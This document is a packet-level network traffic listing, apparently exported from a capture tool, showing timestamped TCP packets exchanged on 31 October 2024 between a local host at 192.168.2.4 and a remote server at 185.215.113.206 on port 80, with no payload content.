Oct 31, 2024 17:26:31.287655115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287656069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287666082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287698984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287761927 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.287838936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287849903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287854910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287866116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287872076 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287878036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287883043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287889004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287898064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287909985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287923098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287935972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287946939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.287988901 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.288038015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.288610935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288621902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288633108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288645029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288649082 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.288659096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288666010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.288674116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288686037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288697004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288697958 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.288711071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288717985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.288726091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.288733006 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.288763046 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.289241076 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289252996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289263964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289274931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289285898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289285898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.289304018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289309978 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.289318085 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289325953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.289328098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289335966 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289340973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289345980 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289351940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289347887 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.289357901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289412022 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.289938927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289948940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289958954 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289971113 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289983034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.289990902 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.289998055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290008068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290009975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290024042 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290025949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290035963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290044069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290049076 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290060997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290075064 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290079117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290092945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290097952 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290106058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290115118 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290122986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290134907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290138006 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290147066 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290158033 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290159941 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290168047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290185928 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290213108 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290813923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290824890 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290834904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290849924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290860891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290863037 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290874958 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290877104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290894032 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290900946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290911913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.290931940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.290946007 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404133081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404155970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404167891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404198885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404243946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404269934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404282093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404293060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404304981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404320955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404334068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404362917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404606104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404617071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404628038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404639006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404650927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404661894 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404661894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404679060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.404684067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404712915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.404731989 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405034065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405193090 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405216932 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405227900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405242920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405253887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405261993 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405266047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405277967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405287027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405288935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405301094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405311108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405314922 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405323029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405339003 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405356884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405853033 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405863047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405903101 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405930042 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405949116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405966997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405968904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405980110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.405991077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.405992031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406002045 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406004906 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406018972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406018972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406029940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406039953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406040907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406054974 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406085014 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406578064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406599045 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406610012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406620979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406625032 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406632900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406644106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406652927 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406656981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406668901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406672001 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406682014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406692982 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406693935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406703949 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406707048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406718969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.406734943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.406754971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407387972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407399893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407408953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407419920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407438040 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407442093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407449007 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407455921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407465935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407475948 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407476902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407494068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407499075 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407505989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407516003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407517910 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407529116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407541037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.407541990 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407550097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.407581091 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408452034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408468008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408478975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408490896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408502102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408503056 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408514977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408526897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408531904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408539057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408550978 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408562899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408569098 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408569098 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408574104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408586979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408591032 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408598900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408611059 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.408617020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408641100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.408651114 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.409426928 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409440041 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409449100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409460068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409475088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409482002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.409486055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409497976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409499884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.409509897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409523010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409526110 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.409534931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409537077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.409548044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409559011 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409567118 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.409573078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409579992 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.409590006 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.409616947 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410403967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410417080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410427094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410438061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410448074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410455942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410459042 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410474062 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410479069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410490036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410490990 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410504103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410515070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410517931 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410526037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410537958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410538912 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410550117 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410552979 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410562992 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.410577059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.410605907 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.522280931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522326946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522356033 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522370100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522392988 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.522449017 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.522449017 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.522480011 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522494078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522505999 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522522926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.522552013 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.522646904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522658110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522696972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.522986889 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.522999048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523010015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523049116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523072004 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523147106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523159027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523169994 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523181915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523200989 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523226023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523473978 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523487091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523498058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523509026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523521900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523515940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523539066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523580074 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523874998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523888111 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523897886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523909092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523921013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523926973 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523932934 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523936033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523946047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523958921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523969889 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.523972034 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523986101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.523998976 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524009943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524036884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524596930 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524610043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524621010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524632931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524642944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524652004 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524655104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524674892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524677038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524689913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524694920 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524703979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524715900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.524722099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524734020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.524756908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.525355101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525367022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525377035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525389910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525401115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525404930 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.525413990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525415897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.525430918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525444984 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525446892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:31.525456905 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:31.525468111 CET	62829	80	192.168.2.4	185.215.113.206
